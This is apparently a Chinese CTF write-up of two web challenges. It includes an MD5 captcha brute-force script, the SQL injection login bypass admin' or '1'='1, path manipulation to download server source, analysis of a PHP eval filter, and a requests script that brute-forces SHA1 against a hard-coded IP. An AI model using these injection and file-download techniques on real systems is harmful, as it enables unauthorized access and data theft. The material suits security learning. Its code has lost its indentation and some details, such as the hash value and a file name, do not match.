一、GetFlag
1、登錄進去看到login登錄按鈕,蓄力一點我們就到到了登錄界面
2、我們看到一串代碼substr(md5(captcha), 0, 6)=10c6ca
截取驗證碼MD5加密後的前6位,我們可以寫腳本爆破。但是剛開始我陷入了誤區,就是不知道驗證碼有幾位,由哪些字符組成的。但是後來一想,這裏應該是服務端接受到我們傳過去的驗證碼,然後進行MD5加密再進行比較,所以驗證碼長度就不是那麼重要了,但是我試了下三位數的驗證碼能匹配成功的機率很低,所以寫了一個四位驗證碼的腳本,爆破出來的驗證碼,隨便選一個就可以了。
import string,hashlib
a=string.digits+string.lowercase+string.uppercase
for i in a:
for j in a:
for k in a:
for m in a:
s=hashlib.md5(i+j+k+m).hexdigest()[0:6]
if s=="9bf514":
print i+j+k+m
break
3、爆破出來後,我們就登錄,然後發現怎麼登錄都會出現error,然後嘗試了sql注入
4、嘗試萬能密碼登錄admin' or '1'='1
,果然夠就進去了,進去之後可以下載三個文件,果斷下載下來看一下。
5、在a.php中有一段話Do what you want to do, web dog, flag is in the web root dir
就是說flag在網站根目錄下,在url裏面試了下大小寫,發現對大小寫敏感,那這個就是linux的服務器,網站根目錄就是VAR/WWW/HTML
,而且這裏要注意,通過抓包可以看到在下載文件的時候的請求鏈接
我們把後面的a.php改成/var/www/html/glag.php,就能下載源碼
6、下載下來的源碼是這樣的
<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
eval("\$spaceone = $f");
}
catch (Exception $e)
{
return false;
}
if ($spaceone === 'flag'){
echo file_get_contents("helloctf.php");
}
?>
就是我們在訪問flag.php的時候post一個flag並且flag=flag就能讀取helloctf.php文件的內容,果斷post一個過去,但是這裏要注意post的時候flag後面要加一個分號,然後查看源碼就可以了。
二、pyscript
1、這個一看就需要我們寫腳本,先訪問一波,頁面很乾淨,按F12一波
看到要用sha1加密去匹配一個密文,這個密文在響應頭裏面,
但是隻有10秒我們需要寫腳本自動發包。
import requests,hashlib
import re,string
r=requests.post("http://106.75.108.111:1111")
cookies=r.cookies
r.encoding="utf-8"
mima=r.headers['Ciphertext']
a=re.findall(r"\+(.*?)\)",r.text)[0]
b=string.digits
for i in b:
for j in b:
for c in b:
d=i+j+c
if hashlib.sha1(i+j+c+a).hexdigest()==mima:
# print d
m=requests.post("http://106.75.108.111:1111",cookies=cookies,data={"pass":d})
# print m.text
l=re.findall(r"<!--.*?([\d\+\-\*]+).*?-->",m.text)[0]
k=eval(l)
url=requests.post("http://106.75.108.111:1111",cookies=cookies,data={"pass":k})
print re.findall(r"flag{.*?}",url.text)[0]
這裏要注意,第一次返回回來的包裏面提示我們需要計算的數字,所以計算後再一次發包得到flag。